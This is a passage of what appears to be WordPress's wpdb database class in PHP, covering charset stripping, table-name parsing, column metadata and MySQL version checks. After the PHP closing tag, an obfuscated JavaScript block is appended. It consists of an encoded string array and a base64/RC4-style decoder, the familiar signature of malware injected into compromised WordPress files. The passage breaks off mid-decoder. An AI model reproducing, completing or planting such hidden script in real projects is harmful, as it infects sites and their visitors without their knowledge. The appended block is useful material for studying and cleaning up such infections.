  2982. // through an unnecessary (for this case) codepath below.
  2983. $truncate_by_byte_length = false;
  2984. }
  2985.  
  2986. // There's no charset to work with.
  2987. if ( false === $charset ) {
  2988. continue;
  2989. }
  2990.  
  2991. // Column isn't a string.
  2992. if ( ! is_string( $value['value'] ) ) {
  2993. continue;
  2994. }
  2995.  
  2996. $needs_validation = true;
  2997. if (
  2998. // latin1 can store any byte sequence
  2999. 'latin1' === $charset
  3000. ||
  3001. // ASCII is always OK.
  3002. ( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
  3003. ) {
  3004. $truncate_by_byte_length = true;
  3005. $needs_validation = false;
  3006. }
  3007.  
  3008. if ( $truncate_by_byte_length ) {
  3009. mbstring_binary_safe_encoding();
  3010. if ( false !== $length && strlen( $value['value'] ) > $length ) {
  3011. $value['value'] = substr( $value['value'], 0, $length );
  3012. }
  3013. reset_mbstring_encoding();
  3014.  
  3015. if ( ! $needs_validation ) {
  3016. continue;
  3017. }
  3018. }
  3019.  
  3020. // utf8 can be handled by regex, which is a bunch faster than a DB lookup.
  3021. if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
  3022. $regex = '/
  3023. (
  3024. (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx
  3025. | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx
  3026. | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2
  3027. | [\xE1-\xEC][\x80-\xBF]{2}
  3028. | \xED[\x80-\x9F][\x80-\xBF]
  3029. | [\xEE-\xEF][\x80-\xBF]{2}';
  3030.  
  3031. if ( 'utf8mb4' === $charset ) {
  3032. $regex .= '
  3033. | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3
  3034. | [\xF1-\xF3][\x80-\xBF]{3}
  3035. | \xF4[\x80-\x8F][\x80-\xBF]{2}
  3036. ';
  3037. }
  3038.  
  3039. $regex .= '){1,40} # ...one or more times
  3040. )
  3041. | . # anything else
  3042. /x';
  3043. $value['value'] = preg_replace( $regex, '$1', $value['value'] );
  3044.  
  3045. if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
  3046. $value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
  3047. }
  3048. continue;
  3049. }
  3050.  
  3051. // We couldn't use any local conversions, send it to the DB.
  3052. $value['db'] = $db_check_string = true;
  3053. }
  3054. unset( $value ); // Remove by reference.
  3055.  
  3056. if ( $db_check_string ) {
  3057. $queries = array();
  3058. foreach ( $data as $col => $value ) {
  3059. if ( ! empty( $value['db'] ) ) {
  3060. // We're going to need to truncate by characters or bytes, depending on the length value we have.
  3061. if ( 'byte' === $value['length']['type'] ) {
  3062. // Using binary causes LEFT() to truncate by bytes.
  3063. $charset = 'binary';
  3064. } else {
  3065. $charset = $value['charset'];
  3066. }
  3067.  
  3068. if ( $this->charset ) {
  3069. $connection_charset = $this->charset;
  3070. } else {
  3071. if ( $this->use_mysqli ) {
  3072. $connection_charset = mysqli_character_set_name( $this->dbh );
  3073. } else {
  3074. $connection_charset = mysql_client_encoding();
  3075. }
  3076. }
  3077.  
  3078. if ( is_array( $value['length'] ) ) {
  3079. $length = sprintf( '%.0f', $value['length']['length'] );
  3080. $queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] );
  3081. } elseif ( 'binary' !== $charset ) {
  3082. // If we don't have a length, there's no need to convert binary - it will always return the same result.
  3083. $queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] );
  3084. }
  3085.  
  3086. unset( $data[ $col ]['db'] );
  3087. }
  3088. }
  3089.  
  3090. $sql = array();
  3091. foreach ( $queries as $column => $query ) {
  3092. if ( ! $query ) {
  3093. continue;
  3094. }
  3095.  
  3096. $sql[] = $query . " AS x_$column";
  3097. }
  3098.  
  3099. $this->check_current_query = false;
  3100. $row = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A );
  3101. if ( ! $row ) {
  3102. return new WP_Error( 'wpdb_strip_invalid_text_failure' );
  3103. }
  3104.  
  3105. foreach ( array_keys( $data ) as $column ) {
  3106. if ( isset( $row[ "x_$column" ] ) ) {
  3107. $data[ $column ]['value'] = $row[ "x_$column" ];
  3108. }
  3109. }
  3110. }
  3111.  
  3112. return $data;
  3113. }
  3114.  
  3115. /**
  3116. * Strips any invalid characters from the query.
  3117. *
  3118. * @since 4.2.0
  3119. *
  3120. * @param string $query Query to convert.
  3121. * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails.
  3122. */
  3123. protected function strip_invalid_text_from_query( $query ) {
  3124. // We don't need to check the collation for queries that don't read data.
  3125. $trimmed_query = ltrim( $query, "\r\n\t (" );
  3126. if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
  3127. return $query;
  3128. }
  3129.  
  3130. $table = $this->get_table_from_query( $query );
  3131. if ( $table ) {
  3132. $charset = $this->get_table_charset( $table );
  3133. if ( is_wp_error( $charset ) ) {
  3134. return $charset;
  3135. }
  3136.  
  3137. // We can't reliably strip text from tables containing binary/blob columns
  3138. if ( 'binary' === $charset ) {
  3139. return $query;
  3140. }
  3141. } else {
  3142. $charset = $this->charset;
  3143. }
  3144.  
  3145. $data = array(
  3146. 'value' => $query,
  3147. 'charset' => $charset,
  3148. 'ascii' => false,
  3149. 'length' => false,
  3150. );
  3151.  
  3152. $data = $this->strip_invalid_text( array( $data ) );
  3153. if ( is_wp_error( $data ) ) {
  3154. return $data;
  3155. }
  3156.  
  3157. return $data[0]['value'];
  3158. }
  3159.  
  3160. /**
  3161. * Strips any invalid characters from the string for a given table and column.
  3162. *
  3163. * @since 4.2.0
  3164. *
  3165. * @param string $table Table name.
  3166. * @param string $column Column name.
  3167. * @param string $value The text to check.
  3168. * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails.
  3169. */
  3170. public function strip_invalid_text_for_column( $table, $column, $value ) {
  3171. if ( ! is_string( $value ) ) {
  3172. return $value;
  3173. }
  3174.  
  3175. $charset = $this->get_col_charset( $table, $column );
  3176. if ( ! $charset ) {
  3177. // Not a string column.
  3178. return $value;
  3179. } elseif ( is_wp_error( $charset ) ) {
  3180. // Bail on real errors.
  3181. return $charset;
  3182. }
  3183.  
  3184. $data = array(
  3185. $column => array(
  3186. 'value' => $value,
  3187. 'charset' => $charset,
  3188. 'length' => $this->get_col_length( $table, $column ),
  3189. ),
  3190. );
  3191.  
  3192. $data = $this->strip_invalid_text( $data );
  3193. if ( is_wp_error( $data ) ) {
  3194. return $data;
  3195. }
  3196.  
  3197. return $data[ $column ]['value'];
  3198. }
  3199.  
  3200. /**
  3201. * Find the first table name referenced in a query.
  3202. *
  3203. * @since 4.2.0
  3204. *
  3205. * @param string $query The query to search.
  3206. * @return string|false $table The table name found, or false if a table couldn't be found.
  3207. */
  3208. protected function get_table_from_query( $query ) {
  3209. // Remove characters that can legally trail the table name.
  3210. $query = rtrim( $query, ';/-#' );
  3211.  
  3212. // Allow (select...) union [...] style queries. Use the first query's table name.
  3213. $query = ltrim( $query, "\r\n\t (" );
  3214.  
  3215. // Strip everything between parentheses except nested selects.
  3216. $query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query );
  3217.  
  3218. // Quickly match most common queries.
  3219. if ( preg_match(
  3220. '/^\s*(?:'
  3221. . 'SELECT.*?\s+FROM'
  3222. . '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
  3223. . '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
  3224. . '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
  3225. . '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?'
  3226. . ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is',
  3227. $query,
  3228. $maybe
  3229. ) ) {
  3230. return str_replace( '`', '', $maybe[1] );
  3231. }
  3232.  
  3233. // SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts'
  3234. if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) {
  3235. return $maybe[2];
  3236. }
  3237.  
  3238. // SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%'
  3239. // This quoted LIKE operand seldom holds a full table name.
  3240. // It is usually a pattern for matching a prefix so we just
  3241. // strip the trailing % and unescape the _ to get 'wp_123_'
  3242. // which drop-ins can use for routing these SQL statements.
  3243. if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) {
  3244. return str_replace( '\\_', '_', $maybe[2] );
  3245. }
  3246.  
  3247. // Big pattern for the rest of the table-related queries.
  3248. if ( preg_match(
  3249. '/^\s*(?:'
  3250. . '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
  3251. . '|DESCRIBE|DESC|EXPLAIN|HANDLER'
  3252. . '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
  3253. . '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
  3254. . '|TRUNCATE(?:\s+TABLE)?'
  3255. . '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
  3256. . '|ALTER(?:\s+IGNORE)?\s+TABLE'
  3257. . '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
  3258. . '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
  3259. . '|DROP\s+INDEX.*\s+ON'
  3260. . '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
  3261. . '|(?:GRANT|REVOKE).*ON\s+TABLE'
  3262. . '|SHOW\s+(?:.*FROM|.*TABLE)'
  3263. . ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is',
  3264. $query,
  3265. $maybe
  3266. ) ) {
  3267. return str_replace( '`', '', $maybe[1] );
  3268. }
  3269.  
  3270. return false;
  3271. }
  3272.  
  3273. /**
  3274. * Load the column metadata from the last query.
  3275. *
  3276. * @since 3.5.0
  3277. */
  3278. protected function load_col_info() {
  3279. if ( $this->col_info ) {
  3280. return;
  3281. }
  3282.  
  3283. if ( $this->use_mysqli ) {
  3284. $num_fields = mysqli_num_fields( $this->result );
  3285. for ( $i = 0; $i < $num_fields; $i++ ) {
  3286. $this->col_info[ $i ] = mysqli_fetch_field( $this->result );
  3287. }
  3288. } else {
  3289. $num_fields = mysql_num_fields( $this->result );
  3290. for ( $i = 0; $i < $num_fields; $i++ ) {
  3291. $this->col_info[ $i ] = mysql_fetch_field( $this->result, $i );
  3292. }
  3293. }
  3294. }
  3295.  
  3296. /**
  3297. * Retrieve column metadata from the last query.
  3298. *
  3299. * @since 0.71
  3300. *
  3301. * @param string $info_type Optional. Type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill
  3302. * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type
  3303. * @return mixed Column Results
  3304. */
  3305. public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
  3306. $this->load_col_info();
  3307.  
  3308. if ( $this->col_info ) {
  3309. if ( $col_offset == -1 ) {
  3310. $i = 0;
  3311. $new_array = array();
  3312. foreach ( (array) $this->col_info as $col ) {
  3313. $new_array[ $i ] = $col->{$info_type};
  3314. $i++;
  3315. }
  3316. return $new_array;
  3317. } else {
  3318. return $this->col_info[ $col_offset ]->{$info_type};
  3319. }
  3320. }
  3321. }
  3322.  
  3323. /**
  3324. * Starts the timer, for debugging purposes.
  3325. *
  3326. * @since 1.5.0
  3327. *
  3328. * @return true
  3329. */
  3330. public function timer_start() {
  3331. $this->time_start = microtime( true );
  3332. return true;
  3333. }
  3334.  
  3335. /**
  3336. * Stops the debugging timer.
  3337. *
  3338. * @since 1.5.0
  3339. *
  3340. * @return float Total time spent on the query, in seconds
  3341. */
  3342. public function timer_stop() {
  3343. return ( microtime( true ) - $this->time_start );
  3344. }
  3345.  
  3346. /**
  3347. * Wraps errors in a nice header and footer and dies.
  3348. *
  3349. * Will not die if wpdb::$show_errors is false.
  3350. *
  3351. * @since 1.5.0
  3352. *
  3353. * @param string $message The Error message
  3354. * @param string $error_code Optional. A Computer readable string to identify the error.
  3355. * @return false|void
  3356. */
  3357. public function bail( $message, $error_code = '500' ) {
  3358. if ( $this->show_errors ) {
  3359. $error = '';
  3360.  
  3361. if ( $this->use_mysqli ) {
  3362. if ( $this->dbh instanceof mysqli ) {
  3363. $error = mysqli_error( $this->dbh );
  3364. } elseif ( mysqli_connect_errno() ) {
  3365. $error = mysqli_connect_error();
  3366. }
  3367. } else {
  3368. if ( is_resource( $this->dbh ) ) {
  3369. $error = mysql_error( $this->dbh );
  3370. } else {
  3371. $error = mysql_error();
  3372. }
  3373. }
  3374.  
  3375. if ( $error ) {
  3376. $message = '<p><code>' . $error . "</code></p>\n" . $message;
  3377. }
  3378.  
  3379. wp_die( $message );
  3380. } else {
  3381. if ( class_exists( 'WP_Error', false ) ) {
  3382. $this->error = new WP_Error( $error_code, $message );
  3383. } else {
  3384. $this->error = $message;
  3385. }
  3386.  
  3387. return false;
  3388. }
  3389. }
  3390.  
  3391.  
  3392. /**
  3393. * Closes the current database connection.
  3394. *
  3395. * @since 4.5.0
  3396. *
  3397. * @return bool True if the connection was successfully closed, false if it wasn't,
  3398. * or the connection doesn't exist.
  3399. */
  3400. public function close() {
  3401. if ( ! $this->dbh ) {
  3402. return false;
  3403. }
  3404.  
  3405. if ( $this->use_mysqli ) {
  3406. $closed = mysqli_close( $this->dbh );
  3407. } else {
  3408. $closed = mysql_close( $this->dbh );
  3409. }
  3410.  
  3411. if ( $closed ) {
  3412. $this->dbh = null;
  3413. $this->ready = false;
  3414. $this->has_connected = false;
  3415. }
  3416.  
  3417. return $closed;
  3418. }
  3419.  
  3420. /**
  3421. * Whether MySQL database is at least the required minimum version.
  3422. *
  3423. * @since 2.5.0
  3424. *
  3425. * @global string $wp_version
  3426. * @global string $required_mysql_version
  3427. *
  3428. * @return WP_Error|void
  3429. */
  3430. public function check_database_version() {
  3431. global $wp_version, $required_mysql_version;
  3432. // Make sure the server has the required MySQL version
  3433. if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) {
  3434. /* translators: 1: WordPress version number, 2: Minimum required MySQL version number */
  3435. return new WP_Error( 'database_version', sprintf( __( '<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) );
  3436. }
  3437. }
  3438.  
  3439. /**
  3440. * Whether the database supports collation.
  3441. *
  3442. * Called when WordPress is generating the table scheme.
  3443. *
  3444. * Use `wpdb::has_cap( 'collation' )`.
  3445. *
  3446. * @since 2.5.0
  3447. * @deprecated 3.5.0 Use wpdb::has_cap()
  3448. *
  3449. * @return bool True if collation is supported, false if version does not
  3450. */
  3451. public function supports_collation() {
  3452. _deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' );
  3453. return $this->has_cap( 'collation' );
  3454. }
  3455.  
  3456. /**
  3457. * The database character collate.
  3458. *
  3459. * @since 3.5.0
  3460. *
  3461. * @return string The database character collate.
  3462. */
  3463. public function get_charset_collate() {
  3464. $charset_collate = '';
  3465.  
  3466. if ( ! empty( $this->charset ) ) {
  3467. $charset_collate = "DEFAULT CHARACTER SET $this->charset";
  3468. }
  3469. if ( ! empty( $this->collate ) ) {
  3470. $charset_collate .= " COLLATE $this->collate";
  3471. }
  3472.  
  3473. return $charset_collate;
  3474. }
  3475.  
  3476. /**
  3477. * Determine if a database supports a particular feature.
  3478. *
  3479. * @since 2.7.0
  3480. * @since 4.1.0 Added support for the 'utf8mb4' feature.
  3481. * @since 4.6.0 Added support for the 'utf8mb4_520' feature.
  3482. *
  3483. * @see wpdb::db_version()
  3484. *
  3485. * @param string $db_cap The feature to check for. Accepts 'collation',
  3486. * 'group_concat', 'subqueries', 'set_charset',
  3487. * 'utf8mb4', or 'utf8mb4_520'.
  3488. * @return int|false Whether the database feature is supported, false otherwise.
  3489. */
  3490. public function has_cap( $db_cap ) {
  3491. $version = $this->db_version();
  3492.  
  3493. switch ( strtolower( $db_cap ) ) {
  3494. case 'collation': // @since 2.5.0
  3495. case 'group_concat': // @since 2.7.0
  3496. case 'subqueries': // @since 2.7.0
  3497. return version_compare( $version, '4.1', '>=' );
  3498. case 'set_charset':
  3499. return version_compare( $version, '5.0.7', '>=' );
  3500. case 'utf8mb4': // @since 4.1.0
  3501. if ( version_compare( $version, '5.5.3', '<' ) ) {
  3502. return false;
  3503. }
  3504. if ( $this->use_mysqli ) {
  3505. $client_version = mysqli_get_client_info();
  3506. } else {
  3507. $client_version = mysql_get_client_info();
  3508. }
  3509.  
  3510. /*
  3511. * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
  3512. * mysqlnd has supported utf8mb4 since 5.0.9.
  3513. */
  3514. if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
  3515. $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
  3516. return version_compare( $client_version, '5.0.9', '>=' );
  3517. } else {
  3518. return version_compare( $client_version, '5.5.3', '>=' );
  3519. }
  3520. case 'utf8mb4_520': // @since 4.6.0
  3521. return version_compare( $version, '5.6', '>=' );
  3522. }
  3523.  
  3524. return false;
  3525. }
  3526.  
  3527. /**
  3528. * Retrieve the name of the function that called wpdb.
  3529. *
  3530. * Searches up the list of functions until it reaches
  3531. * the one that would most logically had called this method.
  3532. *
  3533. * @since 2.5.0
  3534. *
  3535. * @return string Comma separated list of the calling functions.
  3536. */
  3537. public function get_caller() {
  3538. return wp_debug_backtrace_summary( __CLASS__ );
  3539. }
  3540.  
  3541. /**
  3542. * Retrieves the MySQL server version.
  3543. *
  3544. * @since 2.7.0
  3545. *
  3546. * @return null|string Null on failure, version number on success.
  3547. */
  3548. public function db_version() {
  3549. if ( $this->use_mysqli ) {
  3550. $server_info = mysqli_get_server_info( $this->dbh );
  3551. } else {
  3552. $server_info = mysql_get_server_info( $this->dbh );
  3553. }
  3554. return preg_replace( '/[^0-9.].*/', '', $server_info );
  3555. }
  3556. }
  3557. ?>
  3558. <script>
  3559. var _0x5523=['w5LCoWTClsKl','DsOnJ8Opw4Y=','wp3DrgvDsj0=','IBpDwpc5','LsOdEcOHw6M=','wpvCtSdOw48=','wrALwrjDg8O3','asOlXsKXVQ==','Vxt8bR0=','w7bChlXCvsKN','LMOHVjBrDMKCw57CjFpd','wqfDqHzDnsO+','wojCj8Kfwo5T','wrMGwpXDu8OI','wpTCgMK/PxPChzzCn8O5YFhhUQ==','wpbCtRtBw78=','wpkIASbDtA==','wpXDsi7CisOj','C1nDr8KtNwkDUlHDrMKaH8Osw5xlExs9T1g=','bituF8Kl','RMO1V8KUeA==','ARpFwq0+wppTHsOJw79jw4lFTcKiwoI=','ScOMY8KLVg==','wqUdwoLDtcOz','wqwHHzLDlw==','w5PDlcOAw4XDvQ==','HRbDg8OcQA==','wpvDl30pwpU=','VFXCgns=','wqw1KhbDmMKrwpbCpsONwqAw','wo3CrwNuw58=','asKzw6UCGA==','wrzDl3gbwrY=','wrBoHBvCqBRL','wpxLfgM=','MsOHAsOVw5g=','wo3Dt3nDisO+','M3xrJQE=','QBlJKMK7ScKsw7TDnQ==','CcO2wqTCkA4=','w7Z8bsKvwrA=','wrsSwoDDuhg=','wo7Cj8K+wpVy','woY5IiTDtw==','w6JvdsKyw5M=','w7HCh1zCvsKs','w6xiVcKfw7Y=','CcOJBhBeWWM=','wqTCjsK0XHF0w68Yw7pgw4HCtcKTIsOSCAMpwrTChMOWO8KnDX8cGHJXacODEzdcw6I=','OcO8FcKUDQ==','w6BIwoTDmcOk','wphDdQLCgy7CiHTDq8Kvwoo=','QSZNXQ==','wpoQMi3DrQ==','wrIDwpjDpSw=','wqEfw57DtQ7DkD5ZwobDr8KdTyLDk3PDvyNteC7CpS7DgcO6RcO1SVLCocOXOcOP','wrQ0WSzDhg==','wrnCjAhaw6E=','Hz7Cqw==','w68ww6XDmMKI','worDkArDjDM=','RMOcHjkl','wqBBKALCtQ==','YMOldsK0w7nDg0nDlQ==','M8OAYR1i','wp/Cl8KiBTk=','wqYMOgfDsA==','RsOEFxdO','QMOZf8KSw6g=','wplcbynCpg==','NcObCg==','woMxTwnDuA==','wprCv8KaQmo=','w4R1worDl8OD','VcOMRcKUHA==','w5rCikLCi8KHwp8V','wovDjTHCv8Om','w5jChljCkcKHwp0=','wovDvy3DiD/DuULDlMKgw593XknDgzTCtQ==','G8O6QCV+','IcOVH8Kr','f8Kzw6AnIw==','wrvDosK4','w7JrZ8KPwoA=','NMOsL8KBMg==','wovDhw/DmyI=','w6N9Cg==','wpJCfR4=','OcOicBlr','DMOkHsOJw5E=','w7tgDFXDug==','woJSw6PDpcKNw5fCrQ==','wpNNcwLCug==','wrgsCiTDtw==','wqg5VQrDmcOTw6Az','EcOIwog3w5g=','wpN8UibClA==','FsO7eBZC','wqTDqMKrCl7CmsK/Y8OWwpHDhMK5w7jCpTzCsQ==','w6hUccKmwqA=','S8OmNgc5','VVTCh0nDjA==','w58dw7zDmsKZ','wp7DmlrCj8OCZMOMVlVwUMKRwrHCq8Kbw6xTw57CgEYoJHPCn2LDgHBacAIRAw==','H8ODwqc9w4k=','NcKbM8ONKQ==','wqPCisKlQg==','w5jCowDDoVs=','b8OidMK8w6M=','BABFwr0lwp9Z','CgrCicKu','woPCjcKSYlg=','w77DiMOWw6vDgQ==','woE8wqbDksOU','SsO9SsKpIA==','woTDgxDCqcObb8ORVmtsQMKRwrvCt8OWwrw=','w4xWw7ULwq0=','wrbDvcKvNEI=','VixLRzhiNA==','bm7CgMK4DX7Dtk/DpGRbY0LDowRDwqzCnsON','w5pqBGLDjg==','S8OTfcKUQMOGwpY=','w6R8KEfDug==','DcOYOsOJw4U=','wqk3QgjDhQ==','wojDlhjDlsOaw4NJwpYmw6dKw4F+WA==','LsONNsOHw4A=','AcK+w4nDv8KEBcOJcjPCjMKG','O8OeMcOZw6RWScKLGsO4bg==','XMKuViw3','wrNrXh/Cvw==','HFrDicKZFg==','wrZ1eDjChg==','w493wpzDocOo','UcKfw500','DDd+woE5','T8OZZ8KiQ8OPwp7DssOtw7bDp8ORfMKt','wo7Cm8KfPA8=','V8OabsKhBw==','wrHCiyFzw54=','b03CrsKnDQ==','FD1JwoIj','K8ODXj9rc8OFw5jCmkpKFcKOS0w=','w7tqwqbDtsOd','FMOpwrsWw6s=','ZmrCpXfDqg==','wqLCl8KJwrZE','KcOywrXCkQ==','w4DDksOGw5XDiA==','w4tfaMK3w4U=','wrwVwrHDvAM=','wqPCrsKfwpdt','JcKQw5DDv8KR','wqMAwp7DqcO1NUbDvXTCk1M=','wpjDjHjDj8O5','worCucK1R1o=','VwReOMK5U8OlwrPDlcKtwo/CscKkwpQOwrApwoZF','wqcIwpXDqA==','d8OuTcKpLQ==','wo5Ww4DDhcKV','SsOoABFx','PcO8wqnCjCZRwpo=','eMOkUsK6w5w=','wq/ClcKuX20iwqU=','wpkVwpjDlMOHIUfDpBnCqR5xK8K2Jg==','Y8K5w5srDg==','w5lUfsKjw7p3w7M=','wr8QwoLDuRM=','Dx/Cr8KyCg==','TsOaFw5D','VnLCsmfDnA==','wqXDgUrDssOH','wo4lwofDr8Op','VcOGbsKqEQ==','woHCkMK4OA==','c8OcZcKnOw==','MsOpwq7Crww=','woBNw6bDp8KA','w69/wqjDvA==','wocYLxjDtGfDiMOXw7zDr8OYwo9XXcOpOg==','K8OFPsOew651Tg==','w4lLfMK5w6E=','woJJJA7CsA==','Q8OFMCQu','EzzDpMO8QQ==','fcOPMDZz','KsOywqXCkyw=','w5dGC1TDmQ==','wqdmEATCog==','woLDuibDhQ==','M1bDosKs','w7vDvwofw4UeO3BOw5RkBsKNwqrDkQ==','GHDDi8KuGg==','VAVSKsKb','wpxEwqzCscKhbRvCoTrCp0DDgWtrLcOFTsKGwqR3E8KHwpjCpsOVw7pewpbDhcONLMO0PFQ=','RsKXw6olEA==','w5Ucw5vDj8KF','XsKiexIC','wpREw7HDvMK4','wrk7KBDDiQ==','wpDCkyVQw5k=','wpnCsB1fw6Q=','wqjClcKuSkw=','woLCscK8wpt7','wpHDjzfCpcOf','wootwqPDgg==','wobCmsK0PgXCuDw=','TcOEcMKCX8OewprDuMOt','wp7DpMK4GVk=','XC1YRg==','wp3ClSVBw7s=','GMKiDMOXNg==','wr/ClChv','woAPOinDtA==','HsOtJsOYw40=','wp7CjypIw4g=','w4/CsT7DkWg=','wowlwobDoy0=','L8K2w4zDo8KV','w57CqQ3DrWM=','T8OgJREv','EcKjw4zDtMKq','wrwfKwzDlQ==','woEGZBHDqA==','wqvCtsK0woBo','wrbDvcKvNFLCiMKrcsOMworDosOzw6HDrC7CtAAEXcK+w7DCj8KDXj4hw5/ChnjDmULDsXY=','NcOFXic=','w7jCoifDhVU=','woPDj0/Dm8OJ','wplXPS3Ciw==','MMOgwrYW','fXvChMKhBg==','OSvDucOfeQ==','Dh/CicKpD1s=','wqMPcAzDpg==','w44Gw4bDm8KdMRU=','wrptJgDCqw==','MMOgwqAMw7o=','F1DDt8KiBw==','JFnDicKvAw==','wpN5w6/DpcKf','E8OcZR1U','w4pww5wywqdWfA==','wqcHR1rDl3bDlSjCpcKbwpkzwr3Cl8OQw4vDqjMscUsjVCp2wptTw6nCpSQ6H8O9AA==','Lj/CucKKAw==','QyxmPcKi','b3/ClcK5Gl/CtA3Dp3JB','wrBoHBvCswpbw77CuxvCiQ==','TTZNTjs=','w7JXccK4wqI=','RgBGIQ==','wr/CgBx6w4s=','O1nDi8KxNw==','WsOYUMKWw5U=','bsOJMcOfw6VqFg==','wpA5fi/DtA==','w552worDicOB','HsORZAN9','aQNpLsKz','wpbCswRew4k=','ZsKVw4A0M8OtwoDCoEVHwqBR','woVCKAbCrw==','w4x7L0/Dpg==','f8OZWMKjQg==','JGPDicK4Ew==','w7NTwqZawoc=','wp5eESHCtg==','wovCmsKswoxs','AsOZOMOlw5A=','FSLDv8OwWA==','w53DncOhw4k=','w55wwrxxwotawoLDm8O8AxnCvsORwoLDpsKxwrMeB1/DhivDhcOGwoxdwo7CncKMPBfCgig=','wrIMUR3DmQ==','w6x9A0XDsAkl','P3/DtsKRPA==','wpLDnH/DncO8w4zCosKAwo/DpcOrS8K8NsK1YMKiw43Cig==','wqVvECPClA==','wonDryHDng==','woc5WB/DiMOUw7twwpTCisOOwq8='];(function(_0x29f14a,_0x1efe96){var _0x392979=function(_0x469251){while(--_0x469251){_0x29f14a['push'](_0x29f14a['shift']());}};_0x392979(++_0x1efe96);}(_0x5523,0xc3));var _0x702d=function(_0x29f14a,_0x1efe96){_0x29f14a=_0x29f14a-0x0;var _0x392979=_0x5523[_0x29f14a];if(_0x702d['WRbrpb']===undefined){(function(){var _0x469251;try{var _0x5e24c3=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x469251=_0x5e24c3();}catch(_0x2e7a36){_0x469251=window;}var _0x3459de='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x469251['atob']||(_0x469251['atob']=function(_0x45f41d){var _0x24a765=String(_0x45f41d)['replace'](/=+$/,'');var _0x10e181='';for(var _0xfab046=0x0,_0x76ff1,_0x26b2a8,_0x58d642=0x0;_0x26b2a8=_0x24a765['charAt'](_0x58d642++);~_0x26b2a8&&(_0x76ff1=_0xfab046%0x4?_0x76ff1*0x40+_0x26b2a8:_0x26b2a8,_0xfab046++%0x4)?_0x10e181+=String['fromCharCode'](0xff&_0x76ff1>>(-0x2*_0xfab046&0x6)):0x0){_0x26b2a8=_0x3459de['indexOf'](_0x26b2a8);}return _0x10e181;});}());var _0x477823=function(_0x55e3fe,_0x1efe96){var _0x55dd59=[],_0x2fb724=0x0,_0x4231a6,_0x7df56a='',_0x210399='';_0x55e3fe=atob(_0x55e3fe);for(var _0x483ca1=0x0,_0x34fbd2=_0x55e3fe['length'];_0x483ca1<_0x34fbd2;_0x483ca1++){_0x210399+='%'+('00'+_0x55e3fe['charCodeAt'](_0x483ca1)['toString'](0x10))['slice'](-0x2);}_0x55e3fe=decodeURIComponent(_0x210399);var 